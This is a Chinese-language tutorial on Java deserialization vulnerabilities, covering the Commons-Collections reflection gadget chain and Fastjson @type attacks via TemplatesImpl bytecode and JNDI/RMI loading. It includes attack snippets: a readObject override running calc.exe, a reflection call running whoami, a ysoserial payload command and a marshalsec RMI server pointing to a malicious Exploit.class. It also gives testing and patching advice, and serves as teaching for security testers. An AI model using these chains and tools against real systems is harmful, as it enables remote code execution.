序列化就是把java类转换成字节流,xml数据、json格式数据等;
反序列化就是把字节流,xml数据、json格式数据转换回java类。
成因:在把其他格式的数据反序列化成java类的过程中,由于输入可控,导致可以执行其他恶意命令,但追根究底是需要被反序列化的类中重写了readObject方法,且被重写的readObject方法/调用链中被插入了恶意命令。
拿java的原生反序列化方法举例:
1) 正常的反序列化过程
先序列化,将对象obj序列化,保存序列化后的字节流数据到目录下,然后通过readobject反序列化成对象,通过打印发现反序列化后对象为Step1.deserTest2:
2) 恶意的反序列化过程
对比一下代码,新增了对于readobject方法的重写代码:
private void readObject(java.io.ObjectInputStream in) throwsIOException,ClassNotFoundException{
in.defaultReadObject();//调用原始的readOject方法
Runtime.getRuntime().exec("calc.exe");
System.out.println("test");
}
我们在反序列化处下一个断点,注意看调用栈,发现在调用readobject时,不是跳转到原生的readobject而是我们重写的readobject方法,这也是java的一个机制,当同一个方法被重写时会优先调用被重写的代码。
上述案例可说明白反序列的原理,但问题是一般开发不会把Runtime.getRuntime().exec这样的恶意命令执行代码写在反序列化方法里,但是我们可以找一条“反射链”来插入执行恶意命令代码,对于反序列化漏洞的挖掘的过程也就是结合Java的反射机制构造利用链,即readobject()——getRuntime().exec的过程。
举例讲解三方件的利用链挖掘过程。
1) 首先模拟一个业务场景,对某个用户可控的文件hello.bin进行反序列化处理,调用的是原生的readObject方法。
由于代码引入了Commons-collections包,所以我们的目的就是构造出合适的hello.bin文件内容,让其经过Commons-collections整个代码处理后达到执行命令的效果:
2) 创建一个重写类,对readObject进行重写,这里setValue是触发点,下断点跟进去可以了解漏洞原理:
3) 重点在于ApacheCommons Collections中有一个特殊的接口,其中有一个实现该接口的类可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer:
transform方法利用Java的反射机制进行函数调用,传入的参数是input是一个实例化对象,利用这个方法便可以调用任意对象的任意方法(exec)从而执行命令,所以在DeSertPoc类里新建Transformer,最后组成的核心表达式为:
((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("whoami");
4) 继续跟进, ChainedTransformer类会对每一个Transformer循环调用InvokerTransformer的transform方法进行反射,可以看到这里对我们新建的Runtime成功进行了反射:
5) 最终被ChainedTransformer触发成功执行命令:
上述DeSertPoc等代码其实是为了分析Commons-collections反序列化的漏洞原理,实际的测试过程中,如果:
1)发现代码中被反序列化的文件可控;
2)且代码中引用了Commons-collections包。
便可以使用其作为工具进行攻击,大多数的第三包的漏洞原理和利用办法都是类似的。
如这里的hello.bin可以直接使用ysoserial生成payload进行攻击,和我们自写Poc代码的效果是一样的:
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections1 calc.exe >hello.ser
Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。FastJson自己实现了一套反序列化的机制,并没有使用默认的readObject(),在序列化反序列化的时候会进行一些操作,主要是setter和getter的操作,同样结合一些类的特性造成命令执行。各版本下载地址:
https://repo1.maven.org/maven2/com/alibaba/fastjson/
研究库的漏洞首先要了解其用法:
1) 序列化方法为JSON.toJSONString,功能是将java代码的字符串转换成json数据,注意如果使用了SerializerFeature.WriteClassName 会多出来了一个 "@type"属性;
2) 反序列化方法为JSON.parse和JSON.parseObject,且包含@type 属性的会被反序列化回Person 类型的对象,没有则会被反序列化成JSONObject 对象。由此可知 @type 是用于在解析 JSON 时指定类的。
3) JSON.parseObject 和 JSON.parse ,最主要的区别就是前者返回的是 JSONObject 而后者返回的是实际类型的对象,当在没有对应类的定义的情况下,通常情况下都会使用 JSON.parseObject 来获取数据。
常见的Poc有两种:TemplateImpl和JNDI方法:
1)基于TemplateImpl
基于TemplateImpl的方法可以直接执行bytecodes。模拟一个漏洞场景:进入parseObject方法的text1参数是用户可控的,为了方便这里直接写入:
则可写一个包含恶意命令的Test.java ,将其编译后的字节码转成 Base64拼接到JSON 字符串中:
最后则使用Poc中的 JSON.parseObject 方法将bytecodes解析成 Java 对象,从而执行命令。
2、JNDI
上面的场景很少见,开发很少用到JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)的方式来进行反序列化,更主流的方法是使用JNDI结合ldap或rmi服务进行远程调用。JNDI即Java Namingand Directory Interface,翻译成中文就Java命令和目录接口,在2016年的blackhat大会上web议题重点讲到,细节可查看原文学习seebug上的一篇介绍文章。
1)同上,我们使用一个模拟环境,这里payload为用户输入,经过JSON.parse进行反序列化处理,输入处调用JdbcRowSetImpl这个类,并连接RMI服务器,默认端口1099:
3) 然后使用神器marshalsec-0.0.3-SNAPSHOT-all.jar新建一个RMI服务器进行监听:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jarmarshalsec.jndi.RMIRefServer http://127.0.0.1/#Exploit
当然也可以自写:
意为前端解析json成功后访问的rmi服务器会重定向到web服务器127.0.0.1下。
4) 最后再开启一个HTTP服务,在根目录放一个包含恶意命令Exploit.class文件编译的class文件:
5)最后在执行第一步的Poc类实现json解析,JdbcRowSetImpl类里的setAutoCommit会调用this.connect(),在connect()里通过rmi服务加载远程的方法执行:
具体的跟踪链可以在payload输入处下断点跟踪,最终调用链如下:test_autoTypeDeny——parseObject——exec,其他反序列化漏洞也类似如此:
exec:347, Runtime (java.lang)
<init>:13, Test (com.l1nk3r.fastjson)
newInstance0:-1,NativeConstructorAccessorImpl (sun.reflect)
newInstance:62,NativeConstructorAccessorImpl (sun.reflect)
newInstance:45,DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor(java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl(com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl(com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl(com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl(sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl(sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:80, FieldDeserializer(com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer(com.alibaba.fastjson.parser.deserializer)
parseField:722, JavaBeanDeserializer(com.alibaba.fastjson.parser.deserializer)
deserialze:568, JavaBeanDeserializer(com.alibaba.fastjson.parser.deserializer)
deserialze:187, JavaBeanDeserializer(com.alibaba.fastjson.parser.deserializer)
deserialze:183, JavaBeanDeserializer(com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser(com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser(com.alibaba.fastjson.parser)
deserialze:45, JavaObjectDeserializer(com.alibaba.fastjson.parser.deserializer)
parseObject:639, DefaultJSONParser(com.alibaba.fastjson.parser)
parseObject:339, JSON(com.alibaba.fastjson)
parseObject:302, JSON(com.alibaba.fastjson)
test_autoTypeDeny:44, Poc(com.l1nk3r.fastjson)
main:50, Poc (com.l1nk3r.fastjson)
1)测试
测试过程中需要关注两点:
A、关注测试的系统代码中。被反序列化操作的数据是否可控:
B、若可控,看系统是否使用了包含已知漏洞的第三方库:
两个因素,一个是输入可控,一个是payload可构造,缺一不可。
就像Fastjson的官方补丁,使用的方案就是config.checkAutoType(typeName)和黑名单列表:
beanutils,commons.collections,rmi等
2)漏洞挖掘角度
若是从事第三方件的反序列化0day挖掘工作,则需要对库源码进行分析,定位到反序列化方法,对其调用链进行分析,寻找可反射、可插入恶意代码的gadget。